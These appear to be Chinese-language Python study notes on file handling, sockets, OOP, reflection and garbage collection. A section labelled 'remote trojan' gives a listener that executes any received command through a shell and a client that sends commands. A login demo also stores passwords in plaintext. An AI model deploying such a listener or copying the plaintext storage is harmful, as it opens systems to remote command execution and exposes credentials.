matsudaira 发布的文章

基础操作

  1. 打开file = open('1.txt',访问方式,encoding='编码方式')
  2. text = file.read()
  3. 关闭file.close()

访问方式

r:只读
w:只写,如果存在会覆盖,文件不存在创建新文件
a:追加,如果存在指针会放在文件结尾,不存在创建
r+:读写,指针在开头,不存在刨出异常
w+:读写,存在会覆盖,不存在创建
a+读写,指针在结尾,不存在创建

按行读取

text = file.readline().strip()#strip去除结尾换行

for i in file.readlines():
    # readlines返回一个可迭代对象并且每个元素都是一行

with结构

with open('xxx.txt') as file1:
    text = file1.read()

案例

修改文件

import os with open('a.txt') as read_f,open('a.txt.new','w') as write_f:
 data = read_f.read() 
 data = data.replace('Hello','nihao') 
 write_f.write(data) 
 
os.remove('a.txt') 
os.rename('a.txt.new','a.txt')

计算总价

文件a.txt内容:每一行内容分别为商品名字,价钱,个数。
apple 10 3
tesla 100000 1
mac 3000 2
lenovo 30000 3
chicken 10 3
通过代码,将其构建成这种数据类型:[{'name':'apple','price':10,'amount':3},
{'name':'tesla','price':1000000,'amount':1}......] 并计算出总价钱。
file = open('1.txt','r',encoding='utf-8')
line = []
list = []
for i in file.readlines():
     line = i.strip().split(' ')
     print(line)
     dict = {'name':line[0],'price':line[1],'count':line[2]}
     list.append(dict)

print(list)
sum = 0
for i in list:
    sum = sum + float(i['price'])*float(i['count'])

print(sum)

file.close()

模拟用户注册登陆


用户的信息需要保存在文件db.txt中
菜单:
供用户 选择时注册还是登陆
注册:
由用户输入用户名和密码
密码必须由字母和数字组成,长度不得小于8位
密码需要输入两次,并且判断密码是否相等,如果不相等注册失败
注册成功的话需要将用户信息写入db.txt中.
登陆:
由用户输入用户名和密码
用户名不存在时返回“用户不存在"
用户名存在密码错误时返回“密码错误”
密码重试超过三次,15秒之内不允许登陆
登陆成功时返回“欢迎登陆成功!”
import re
def SingUp():#注册
    file = open('db.txt','a')
    username = input('please input your username')
    while True:
        password = input('please input your password')
        passwor2 = input('please input your password once again')
        if re.match("^(?:(?=.*[A-Za-z])(?=.*[0-9])).*$",password):
            if len(password) >=8:
                if password == passwor2:
                    file.write(f'{username} {password} \n')
                    print(f'welcom {username}')
                    break
                else:
                    print('the two password are different!please input again!')
            else:
                print('your password is too short!')
        else:
            print('password must have number and words!')


    file.close()

def SignIn():#登录
    list = []
    k = 0
    flag = 0
    flag1 = 0
    file = open('db.txt','r')
    cont = file.readlines()
    for i in cont:
        tmp = i.strip().split(' ')
        person = {'username':tmp[0],'password':tmp[1]}
        list.append(person)
        k += 1
    username = input('please input your username')
    for i in list:
        if username == i['username']:
            flag = 1
            flag1 = list.index(i)
            break
            # password = input('please input your password')
            # if password == i['password']:
            #     print(f'hello {username}!')
            # else:
            #     print('wrong password!')
            #     flag += 1
            # if flag > 3:
            #     break

        else:
            print('user do not exist!')
            break
    if flag == 1:
        for i in range(3):
            password = input('please input your password')
            if list[flag1]['password'] == password:
                print(f'hello {username}!')
                break
            else:
                print('wrong password!')
    file.close()


def Menu():#菜单
    print('''
-------------Welcome-------------
Please input a number to choose :
--1. signup--
--2. signin--
---------------------------------
    ''')

if __name__ == '__main__':
    while True:
        Menu()
        num = input()
        if num == '1':
            SingUp()
        if num == '2':
            SignIn()
        else:
            print('please input a right number!')

加时间戳版本

import re
import time
def SingUp():#注册
    file = open('db.txt','a')
    username = input('please input your username')
    while True:
        password = input('please input your password')
        passwor2 = input('please input your password once again')
        if re.match("^(?:(?=.*[A-Za-z])(?=.*[0-9])).*$",password):
            if len(password) >=8:
                if password == passwor2:
                    file.write(f'{username} {password} 0\n')
                    print(f'welcom {username}')
                    break
                else:
                    print('the two password are different!please input again!')
            else:
                print('your password is too short!')
        else:
            print('password must have number and words!')


    file.close()

def SignIn():#登录
    list = []
    k = 0
    flag = 0
    flag1 = 0
    times = 0
    now = time.time()
    file = open('db.txt','r')
    cont = file.readlines()
    for i in cont:
        tmp = i.strip().split(' ')
        person = {'username':tmp[0],'password':tmp[1],'timemark':float(tmp[2])}
        list.append(person)
        k += 1
    # print(list)
    username = input('please input your username')
    for i in list:
        if username == i['username']:
            if ((now - i['timemark']) > 15):
                flag = 1
                flag1 = list.index(i)
                break
            else:print('wait! 15s !',now)
        else:
            if list.index(i) == len(list) - 1:
                print('user do not exist!')
                break
    if flag == 1:
        for i in range(3):
            password = input('please input your password')
            if list[flag1]['password'] == password:
                print(f'hello {username}!')
                break
            else:
                times += 1
                print('wrong password!')
                if times >= 3:
                    tt = list[flag1]['password']
                    cont[flag1] = f'{username} {tt} {time.time()}\n'
                    # print(cont)
                    with open('db.txt','w') as f:
                        for i in cont:
                            f.write(i)
    file.close()


def Menu():#菜单
    print('''
-------------Welcome-------------
Please input a number to choose :
--1. signup--
--2. signin--
---------------------------------
    ''')

if __name__ == '__main__':
    while True:
        Menu()
        num = input()
        if num == '1':
            SingUp()
        if num == '2':
            SignIn()
        else:
            print('please input a right number!')

什么是程序性能

程序性能是指运行这个程序需要的内存和时间的多少,我们用时间复杂度和空间复杂度这两个指标来代表

空间复杂度

程序所需的空间主要由以下构成:

  1. 指令空间:指编译后的程序指令所需要的存储空间
  2. 数据空间:指所有常量和变量值所需要的存储空间,他由两部分组成:

    1. 常量(如0,1)和简单变量所需要的存储空间
    2. 环境栈空间:用来保存暂停的函数和方法在恢复运行时所需要的信息。如函数func调用了func2,那么我们需要保存在func2结束时func继续执行的指令地址

有时候细微的差距也会带来不同

class Solution:
    def removeDuplicates(self, nums: List[int]) -> int:
        n = len(nums)
        i = 0
        for j in range(n):
            if nums[i] == nums[j]:
                continue
            else:
                i += 1
                nums[i] = nums[j]
        return i + 1
class Solution:
    def removeDuplicates(self, nums: List[int]) -> int:
        i = 0
        for j in range(len(nums)):
            if nums[i] == nums[j]:
                continue
            else:
                i += 1
                nums[i] = nums[j]
        return i + 1

这两个例子功能相同,但是第一种写法采用的是另写一个变量n,而第二个是在for循环中使用len(nums),两者性能便有了差距,后者执行时间32 ms,消耗内存15.6 MB,而前者则是56 ms,15.5 MB

指令空间:

指令空间的数量取决于一下因素:

  1. 把程序转换成机器代码的编译器
  2. 在编译时的编译器选项
  3. 目标计算器:如是否安装了浮点处理硬件

数据空间:一个结构变量的空间大小是每个结构成员所需的大小之和,如一个数组的大小是数组的长度乘以一个数组元素的空间大小

环境栈空间:每当一个函数被调用的时候,下面的数据将被保存在环境栈中:

  1. 返回地址
  2. 正在调用的函数的所有局部变量的值以及形参的值(仅对递归函数而言)

大O表示法

函数的渐近增长:给定两个函数f(n)和g(n),如果存在个整数N,使得对于所有的n> N, f(n)总是比g(n)大,那么,我们说f(n)的增长渐近快于g(n)。

换句话说,我们在看一个算法的时间复杂度时,只要看最高次项就可以了,低次项和常数、最高次项前面的系数都是无关紧要的,只要n够大,这些对总体所消耗的时间影响不大,如f(n^3+n+5) ---->f(n^3),而这个最高次项一般是看算法循环嵌套最多的地方,如一个for(i = 0;i<n;i++)循环的时间复杂度是n,计算时嵌套的循环等于内外复杂度之积,如上一个for里面再嵌套一个for,则他的复杂度是n^2

常用的时间复杂度

0(logn),也叫对数时间,这样的算法包括二分查找
O(n),也叫线性时间,这样的算法包括简单查找。
0(n* logn),这样的算法包括快速排序
0(n2),这样的算法包括选择排序
O(n!),这样的算法包括旅行商问题的解决方案

套接字

Socket套接字,是应用层与TCP/IP协议族通信的中间软件抽象层,他是一组接口,把复杂的协议隐藏在接口后面,屏蔽了各个协议的通信细节,是的程序员无需关注协议本身,直接使用Socket提供的接口来进行不同主机间的进程的通信

套接字家族

基于文件类型的套接字:AF_UNIX,unix一切皆文件,基于文件的套接字调用的就是底层的文件系统来取数据,两个套接字进程运行在同一机器,可以通过访问同一个文件系统间完成通信

基于网络类型的套接字家族:AF_INEF(6),还有其他的一些地址家族。所有当中,AF_INEF是使用的最广的一个

套接字工作流程

TCP

avatar

服务器端先初始化Socket,然后和端口绑定,对端口进行监听,调用accept阻塞,等待客户端连接。

客户端初始化Socket,然后连接服务器,如果成功则两边的连接就建立起来了。客户端发送数据请求,服务端接收请求并处理,然后把回应数据发送给客户端,客户端读取数据,最后关闭链接

clinet

import  socket

ser = socket.socket(socket.AF_INET,socket.SOCK_STREAM)## socket_family 可以是 AF_UNIX 或 AF_INET。socket_type 可以是 SOCK_STREAM 或 SOCK_DGRAM。protocol 一般不填,默认值为 0。

ser.bind(('127.0.0.1',9999))#选端口不要选1000内的

ser.listen(5)#TCP监听5个请求

conn,client_addr = ser.accept()#被动接受TCP客户的连接,(阻塞式)等待连接的到来,连接句柄,客户端地址

print(conn,client_addr,sep='\n')


limit_data = conn.recv(1024)

print(limit_data.decode('utf-8'))

conn.send(limit_data.upper())



conn.close()

ser.close()

user

import socket

user = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

user.connect(('127.0.0.1',9999))


data = input('please input some words')

user.send(data.encode('utf-8'))

receive_data = user.recv(1024)

print(receive_data.decode('utf-8'))

user.close()

循环版

server

import  socket

ser = socket.socket(socket.AF_INET,socket.SOCK_STREAM)## socket_family 可以是 AF_UNIX 或 AF_INET。socket_type 可以是 SOCK_STREAM 或 SOCK_DGRAM。protocol 一般不填,默认值为 0。

ser.bind(('127.0.0.1',9999))#选端口不要选1000内的

ser.listen(5)#TCP监听5个请求

while 1:
    conn,client_addr = ser.accept()
    print(conn,client_addr,sep='\n')
    while 1:
        try:
            from_client_data = conn.recv(1024)
            print(from_client_data.decode('utf-8'))
            conn.send(from_client_data.upper())

        except:
            break
conn.close()
phone.close()

user

import socket

user = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

user.connect(('127.0.0.1',9999))


while 1:
    client_data = input('>>> ')
    user.send(client_data.encode('utf-8'))
    if client_data == 'q':
        break

    from_server_data = user.recv(1024)
    print(from_server_data.decode('utf-8'))

user.close()

远程木马

目标端

import socket
import subprocess
phone = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
phone.bind(('127.0.0.1', 8080))
phone.listen(5)
while 1: # 循环连接客户端
    conn, client_addr = phone.accept()
    print(client_addr)
    while 1:
        try:
            cmd = conn.recv(1024)
            ret = subprocess.Popen(cmd.decode('utf-8'), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
            correct_msg = ret.stdout.read()
            error_msg = ret.stderr.read()
            conn.send(correct_msg + error_msg)
        except ConnectionResetError:
            break

        conn.close()
        phone.close()

攻击端

import socket
phone = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 买电话
phone.connect(('127.0.0.1', 8080)) # 与客户端建立连接, 拨号
while 1:
    cmd = input('>>>')
    phone.send(cmd.encode('utf-8'))
    from_server_data = phone.recv(1024)
    print(from_server_data.decode('gbk'))

phone.close() # 挂电话

UDP

avatar

服务端初始化socket,和端口绑定,recvfrom接收消息,消息包含消息内容和对方客户端的地址,回复消息时也要包含这个客户端的地址,发送,最后关闭连接

server

import socket


udp = socket.socket(type=socket.SOCK_DGRAM)
udp.bind(('127.0.0.1',9999))

msg,addr = udp.recvfrom(2048)

print(msg.decode('utf-8'))

udp.sendto('I get it.'.encode('utf-8'),addr)
udp.close()

user

import socket

ip_port = ('127.0.0.1',9999)

udp = socket.socket(type=socket.SOCK_DGRAM)

msg = input('>>>')

udp.sendto(msg.encode('utf-8'),ip_port)

back_msg,addr = udp.recvfrom(2048)

print(back_msg.decode('utf-8'),addr)

粘包

avatar

每个socket被创建后,都会分配两个缓冲区,输入和输出缓冲区,write\send并不是立即传输数据,而是把数据先写入缓冲区后再由TCP将数据从缓冲区发送到目标网络,一旦数据写入到缓冲区,函数就成功返回了,并不管后面发送的事情

TCP协议独立于write\send函数,数据可能刚被写进缓冲区就给发送出去,也可能再缓冲区不断积压,多次数据一次性发送到网络,这取决于当时的网络情况、当前线程是否空闲等因素,read\recv函数同理

I/O缓冲区的特性:

  1. I/O缓冲区在每个TCP套接字中单独存在;
  2. I/O缓冲区在创建套接字时自动生成;
  3. 即使关闭套接字也会继续传送输出缓冲区中遗留的数据;
  4. 关闭套接字将丢失输入缓冲区中的数据。

发生粘包的两种情况

  1. 接收方没有及时接收缓冲区的包,造成多个包接收(客户端发送一段数据,服务端只接收一小部分,下次发送时还是从缓冲区拿遗留下来的数据)
  2. 发送端等到缓冲区满才发送出去,造成粘包(发送数据时间间隔很短,数据也很小,就会合到一起)

粘包的解决方案

avatar

利用struct模块,把消息的长度这个数字转成固定长度的消息,这样,服务端接收固定长度消息,即把长度信息接收过来,解压后得到真实信息长度,再根据这个来确定接下来要接收多长的信息,这样能解决粘包问题

import struct # 将一个数字转化成等长度的bytes类型。 
ret = struct.pack('i', 183346) 
print(ret, type(ret), len(ret)) # 通过unpack反解回来 
ret1 = struct.unpack('i',ret)[0] 
print(ret1, type(ret1), len(ret1)) # 但是通过struct 处理不能处理太大

函数只有在对象中才能叫方法,在其他地方叫函数,静态方法是函数

在类的内部当中使用self变量的都是属于对象的命名空间的,而不使用self的变量都是属于类的命名空间的,可通过__dict__来查看

对象名.属性 = 值,当这个属性存在,则会修改值,当不存在,则会新建一个,但不会修改类下属性

对象查找属性的顺序:对象--类空间--父类空间--》。。。

类名查找属性的空间:类空间--》父类空间--》。。。

子类对象访问父类的方法:

子类名.父类属性或者子类对象名.父类属性

如果子类和父类中有同名方法,访问的顺序是:

子类命名空间、父类命名空间、父类的父类.....

当子类中有父类的同名方法,调用父类的方法的是:

父类.方法、super().方法

基础补余

class MySelf:
    name = 'lord'
    age = 999
    def CallMe(self):
        print('My lord')

print(MySelf.__dict__)#查看类或者对象中的所有内容
MySelf.age=666#修改属性的值
print(MySelf.age)
a = MySelf
print(a.age)
import random
import time
class play_roler:
    def __init__(self,name,ad,hp):
        self.name = name
        self.ad = int(ad)
        self.hp = int(hp)
    def attack(self,enmeny):
        enmeny.hp -= self.ad
        print(f'{self.name}攻击了{enmeny.name}并造成了{self.ad}伤害!')
        if enmeny.hp <= 0:
            print(f'{enmeny.name}死了!')

sunwukong = play_roler('孙悟空',20,500)
caocao = play_roler('曹操',20,100)
anqila = play_roler('安其拉',50,80)

baigujing = play_roler('白骨精',30,450)
guanyu = play_roler('关羽',80,200)
diaochan = play_roler('貂蝉',60,150)

dongxie = [sunwukong,caocao,anqila]
xidu = [baigujing,guanyu,diaochan]

print(dongxie)

len1 = len(dongxie)
len2 = len(xidu)



while (len1 > 0) and (len2 > 0):
    a = random.choice(dongxie)
    b = random.choice(xidu)
    a.attack(b)
    if b.hp <= 0:
        xidu.remove(b)
        len2 -=1
    b.attack(a)
    if a.hp <= 0:
        dongxie.remove(a)
        len1 -= 1

if len1 > 0:
    print('东邪获胜!')
else:
    print('西毒获胜!')

依赖关系

class Kill:
    def killSomething(self,obj1):
        print('杀!')
        obj1.voice()
        print('死了')

class Animal:
    def __init__(self,name):#双下方法/魔法方法
        self.name = name
    def voice(self):
        print(f'{self.name}:ゴゴゴゴゴゴゴ')

a = Animal('Chicken')
b = Kill()
b.killSomething(a)

# 杀!
# Chicken:ゴゴゴゴゴゴゴ
# 死了

多继承

class Kill:#如果什么都不写,则默认继承自object类
    def killSomething(self,obj1):
        print('杀!')
        obj1.voice()
        print('死了')

class Animal:
    def __init__(self,Name='abc'):
        self.name = Name
    def voice(self):
        print(f'{self.name}:ゴゴゴゴゴゴゴ')

# a = Animal('Chicken')
# b = Kill()
# b.killSomething(a)

class trainee:
    def skill(self):
        print("唱跳rap篮球")

class beautiful(Animal,trainee):
    def __init__(self,name):#如果子类没有init,会去父类找
        Animal.__init__(self,name)#self一定要加,这里也可用super().__init__,调用顺序严格按照继承顺序
ChickenBrother = beautiful('Chicken')
ChickenBrother.voice()
ChickenBrother.skill()

经典类中采用的是深度优先,遍历方案,也就是一条路走到头再走下一条,可以使用对象的mro方法才查看,mro是一个有序列表,在类被创建时就被计算出来,可用__mro__来调用查看

新式类的基类继承自object,自2.2开始有,3中全是新式类。经典类在基类没有继承

mro(Child(Base1,Base2)) = [ Child ] + merge( mro(Base1), mro(Base2), [ Base1, Base2] )(其中Child继承自Base1, Base2)

avatar

mro(A) = mro( A(B,C) ) 
原式= [A] + merge( mro(B),mro(C),[B,C] ) 
mro(B) = mro( B(D,E) ) 
= [B] + merge( mro(D), mro(E), [D,E] ) # 多继承 
= [B] + merge( [D,O] , [E,O] , [D,E] ) # 单继承
mro(D(O))=[D,O] = [B,D] + merge( [O] , [E,O] , [E] ) # 拿出并删除D 
= [B,D,E] + merge([O] , [O]) 
= [B,D,E,O] mro(C) 
= mro( C(E,F) ) 
= [C] + merge( mro(E), mro(F), [E,F] )
= [C] + merge( [E,O] , [F,O] , [E,F] ) 
= [C,E] + merge( [O] , [F,O] , [F] ) # 跳过O,拿出并删除 
= [C,E,F] + merge([O] , [O]) 
= [C,E,F,O] 原式
= [A] + merge( [B,D,E,O], [C,E,F,O], [B,C]) 
= [A,B] + merge( [D,E,O], [C,E,F,O], [C]) 
= [A,B,D] + merge( [E,O], [C,E,F,O], [C]) # 跳过E 
= [A,B,D,C] + merge([E,O], [E,F,O]) 
= [A,B,D,C,E] + merge([O], [F,O]) # 跳过O 
= [A,B,D,C,E,F] + merge([O], [O]) 
= [A,B,D,C,E,F,O]

多态性

多态性是指具有不同功能的函数可以使用相同的函数名,这样就可以用一个函数名调用不同内容的函数。在面向对象方法中一般是这样表述多态性:向不同的对象发送同一条消息,不同的对象在接收时会产生不同的行为(即方法)。也就是说,每个对象可以用自己的方式去响应共同的消息。所谓消息,就是调用函数,不同的行为就是指不同的实现,即执行不同的函数。

import abc
class Animal(metaclass=abc.ABCMeta): #同一类事物:动物,类似于抽象基类
    @abc.abstractmethod#用于虚化方法的修饰器
    def talk(self):
        pass

class Cat(Animal): #动物的形态之一:猫
    def talk(self):
        print('say miaomiao')

class Dog(Animal): #动物的形态之二:狗
    def talk(self):
        print('say wangwang')

class Pig(Animal): #动物的形态之三:猪
    def talk(self):
        print('say aoao')

c = Cat()
d = Dog()
p = Pig()

def func(obj):
    obj.talk()

func(c)
func(d)
func(p)

------------------------------

>>> say miaomiao
>>> say wangwang
>>> say aoao

反射

通过字符串的形式操作对象相关的属性,python中一切皆对象

hasattr:判断对象中是否有这个方法或变量,返回True\False

hasattr(a,'say')判断a中是否存在say方法或者变量

getattr:获取对象中的方法或者变量的内存地址

getattr(p,'a','not find')在p中查找a,如果没有打印not find

setattr:为对象添加变量或方法

setattr(p,'say','go!')添加变量say,值为go!
p.say(p)因为是额外添加的方法,需要手动传入对象

delattr:删除对象中的变量,不能删除方法

delattr(p,'name')

class Foo:
    f = '类的静态变量'
    def __init__(self,name,age):
        self.name=name
        self.age=age
    def say_hi(self):
        print('hi,%s'%self.name)

obj = Foo('张三',73)
# 检测是否含有某属性
print(hasattr(obj,'name'))
print(hasattr(obj,'say_hi'))
# 获取属性
n=getattr(obj,'name')
print(n)
func=getattr(obj,'say_hi')
func()
print(getattr(obj,'aaaaaaaa','不存在啊')) # 报错
# 设置属性
setattr(obj,'sg',True)
setattr(obj,'show_name',lambda self:self.name+'sg')
print(obj.__dict__)
print(obj.show_name(obj))

# 删除属性
delattr(obj,'age')
delattr(obj,'show_name')
# delattr(obj,'show_name111') # 不存在,则报错
print(obj.__dict__)

类的私有成员

对于每个类的成员都有两种形式:

  1. 公有:在任何地方都能访问
  2. 私有:只有在类的内部才能访问

静态属性:

  1. 公有静态:类、类内部、派生类可以访问
  2. 私有静态:仅内部可以访问

方法:

  1. 公有方法:对象、类内部、派生类可以访问
  2. 私有方法:仅类内部可以访问

但是py的私有成员可以通过对象._类__属性名来强制访问,所以不推荐

class C:
    name = '公有静态'
    __name = '私有静态'

    def func(self):
        print(f'inner name{self.name}')
        print(f'inner __name{self.__name}')
class D(C):
    pass
print('out name',C.name)
print('out __name',C.name)
son = D()
obj = C()
obj.func()
print('obj.name',obj.name)
print('D.name',son.name)
# print('obj.__name',obj.__name)
# print('D.__name',son.__name)

类的其他成员

普通方法(实例方法)、静态方法、类方法

普通方法的第一个参数必须是实例对象,即self,通过他来传递实例的属性和方法,调用只能由实例对象调用

类方法使用装饰器@classmethod,第一个参数必须是当前类对象,即cls,通过他来传递类的属性和方法,可通过实例对象或者类调用

静态方法使用@staticmethon,参数随意,但是方法体中不能使用类或实例的任何属性和方法,类和实例对象都可以调用

类方法

class A: company_name = '刷刷刷' # 静态变量(静态字段) 
__iphone = '132333xxxx' # 私有静态变量(私有静态字段)
    def __init__(self,name,age): #特殊方法 
        self.name = name #对象属性(普通字段) 
        self.__age = age # 私有对象属性(私有普通字段) 
    def func1(self): # 普通方法 
        pass 
    def __func(self): #私有方法 
        print(666) 
    @classmethod # 类方法 
    def class_func(cls): 
        """ 定义类方法,至少有一个cls参数 """ 
        print('类方法') 
    @staticmethod #静态方法 
    def static_func(): 
        """ 定义静态方法 ,无默认参数""" 
        print('静态方法')
    @property # 创建只读属性 
    def prop(self): 
        pass
class Game:
    top_score = 0
    def __init__(self,name):
        self.player_name = name

    def start_game(self):
        print(f'{self.player_name}开始了游戏!')

    @staticmethod
    def show_help():
        print('欢迎来到厦门最大的线上赌场')

    @classmethod
    def show_top_score(cls):
        print(f'当前游戏的最高分是{cls.top_score}')


if __name__ == '__main__':
    Game.show_help()
    Game.show_top_score()
    a = Game('张三')
    a.start_game()

双下方法

__len__

class B: 
    def __len__(self): 
        return 666 
b = B() 
print(len(b)) # len 一个对象就会触发 __len__方法。

__str__

#如果一个类中定义了str方法,在打印对象时,默认会输出该方法的返回值

class A: 
    def __init__(self): 
        pass 
    def __str__(self): 
        return '123' 
a = A() 
print(a) 
print('%s' % a)

__call__

class Foo: 
    def __init__(self): 
        print('__init__') 
    def __call__(self, *args, **kwargs): 
        print('__call__') 

obj = Foo() # 执行 __init__ 
obj() # 执行 __call__

print(callable(obj))#判断是否可调用,如果删掉call会报false

__eq__

class A: 
    def __init__(self): 
        self.a = 1 
        self.b = 2 
    def __eq__(self,obj): 
        if self.a == obj.a and self.b == obj.b:
         return True 
         
a = A() 
b = A() 
print(a == b)#判断两个值是否相等,如果没有eq会报错

__new__

new方法是类准备将自身实例化时调用的,其始终是类的静态方法,通常来说,新式类开始实例化的时候,new方法会返回cls(当前类)的示例,然后init方法作为构造方法会接收这个实例(self)作为自己的第一个参数,然后依次传入new方法中接收的位置参数和命名参数

单例模式:使得一个类只有一个实例

class A: 
    __instance = None 
    def __new__(cls, *args, **kwargs): 
        if cls.__instance is None: 
            obj = object.__new__(cls) 
            cls.__instance = obj 
            return cls.__instance

__enter__,__exit__,上下文管理器

#自定义文件管理器
class Diycontextor: 
    def __init__(self, name, mode): 
        self.name = name 
        self.mode = mode
        def __enter__(self): #开启上下文管理器对象时触发
            print("Hi enter here!!") 
            self.filehander = open(self.name, self.mode) 
            return self.filehander 
        def __exit__(self,*args): #退出时执行
            print("Hi exit here") 
            self.filehander.close() 
            
with Diycontextor('config', 'r') as f: 
    for i in f: 
        print(i.strip())

Property

我们可以用@peoperty装饰器来创建只读属性,他能把函数当作属性来访问并执行

class Goods(object):
    def __init__(self):
        # 原价
        self.original_price = 100
        # 折扣
        self.discount = 0.8
    @property
    def price(self):
        # 实际价格 = 原价 * 折扣
        new_price = self.original_price * self.discount
        return new_price

    @price.setter
    def price(self, value):
        self.original_price = value

    @price.deleter
    def price(self):
        del self.original_price

obj = Goods()
print(obj.price)  # 获取商品价格
obj.price = 200 # 修改商品原价
print(obj.price)
del obj.price # 删除商品原价

垃圾回收

引用计数器为主,分代回收和标记清除为辅

引用计数器

python中创建的任何对象都会放在refchain的双向列表中,如

list = ['11','22','sda']#列表对象
a = 18#整形对象

这些对象都会放到双向列表中,也就是说得到了refchain,也就得到了python中所有的对象

当创建一个对象的时候,对象的内部都会有这样的一些属性:

  1. 指向上一个对象的指针
  2. 指向下一个对象的指针
  3. 类型
  4. 引用的个数
#define PyObject_HEAD        PyObject ob_base;
#define PyObject_VAR_HEAD        PyVarObject ob_base;

// 宏定义,包含 上一个、下一个,用于构造双向链表用。(放到refchain链表中时要用到)
#define _PyObject_HEAD_EXTRA            \
    struct _object *_ob_next;            \
    struct _object *_ob_prev;

typedef struct _object {
    _PyObject_HEAD_EXTRA;    // 用于构造双向链表
    Py_ssize_t ob_refcnt;    // 引用计数器
    struct _typeobject *ob_type;    // 数据类型
} PyObject;

typedef struct {
    PyObject ob_base;        // PyObject对象
    Py_ssize_t ob_size;        // Number of items in variable part,即:元素个数
} PyVarObject;

源码中有两个重要的struct:PyObject,PyVarObject

PyObject:指向上/下一个对象的指针,类型,引用计数器

PyVarObject:存储由多个元素组成的类型的值,像字符串

何为引用个数:

当我们创建一个对象,如a = 'using',会给using开辟一个内存空间存放到双向列表里,如果我们这时b = a ,会把b指向using,而不是重新弄一个新的对象,这时using的引用个数变成了2

何时计数增加

  1. a = 2对象被创建
  2. b = a对象被引用
  3. func(a)对象被作为参数传到函数中
  4. list = [1,2,'s',a]对象被作为元素存储在容器中

何时计数减少:

  1. 当该对象的别名被显示销毁时 del a
  2. 当对象的别名被赋予新值 a = 26
  3. 当对象离开作用域,如当func函数执行完毕,函数里面的局部变量引用计数器就会减一(全局变量不会)
  4. 当元素从容器中删除或者容器被销毁

当计数为0,将进行垃圾回收

循环引用的问题

a1 = [1,2,3]
b1 = [2,3,4]
a1.append(b1)#b1对应的[2,3,4]的对象引用为2
b1.append(a1)#a1对应的对象引用为2
del a1#引用计数器减一
del b1
#a1,b1计数器都为1

这样虽然a1,b1被我们销毁了,但是对应的对象依旧存在内存中没有被回收

评价

优点:简单,没有引用就会被释放,实时性

缺点:循环引用,维护计数消耗的资源

标记清除

原理

再去维护一个链表,这个链表专门用于存放那些可以循环引用的对象,python会在一些情况下去扫描这个链表里面的每个元素,如果检查到循环引用,则让双方的引用计数器都各自减一,如果是0则垃圾回收

标记清除算法

对象之间通过指针连在一起构成一个有向图,从根节点出发,腌着有向边遍历对象,可达的对象标记为活动对象,不可达的就是要被清除的非活动对象。跟对象就是全局变量、调用栈、寄存器。如图,从黑点出发,123可达,那就会标记为活动对象,44不可达,会被回收

avatar

问题:
什么时候去扫描?

标记和清除的过程效率并不高,清除非活动的对象千必须顺序扫描整个堆内存,即扫描所有的对象

分代回收

原理:设置三个列表

0代:0代中对象个数打到700个,扫描一次

1代:0代扫描10次,则1代扫描1次

2代:1代扫描10次,则2代扫描1次

avatar

当0代中个数达到700时,会对0代中所有元素进行一次扫描,如果是循环引用则计数器-1,然后判断是否为0进行回收。如果没有回收,则从0代升级到1代,这时候0代是空,1代会记录0代依旧扫描1次

弱代价说:年轻的对象通常死的快,而老对象可能存活时间更长

缓存机制

缓存在python中分为两大类

python中为了避免重复创建和销毁而维持的一些常见对象,如-5到256,bool,一些字符或字符串,这些都是常用值,会在内存中先把这些值都创建好。可以用id()函数来验证

因为代码块的缓存机制,交互模式和命令模式下测试的结果可能不同。一个模块、函数、类、文件等都是一个代码块。而在交互模式下,一行就是一个代码块

同一个代码块中的缓存机制:

python在执行同一个代码块的初始化对象的命令时,会检查这个是否已经存在,如果是,则引用,如果不是,则开辟新的内存

适用对象:int(float),str,bool

从同一块代码块中因为驻留机制,对于上面那些数据类型,只要对象相同,内存地址就共享,从不同代码块中只有引用对象为池中常见对象,才会有内存共享

free_list

python为了内部优化,当一个对象的引用计数为0时,不会立即回收,而是添加到free_list链表中当作缓存,以后创建对象就不再重新开辟内存,而是使用free_list,但是free_list容量有限,默认数量为80,当满了的时候会去直接销毁,代表性 的有float,list,tuple,dict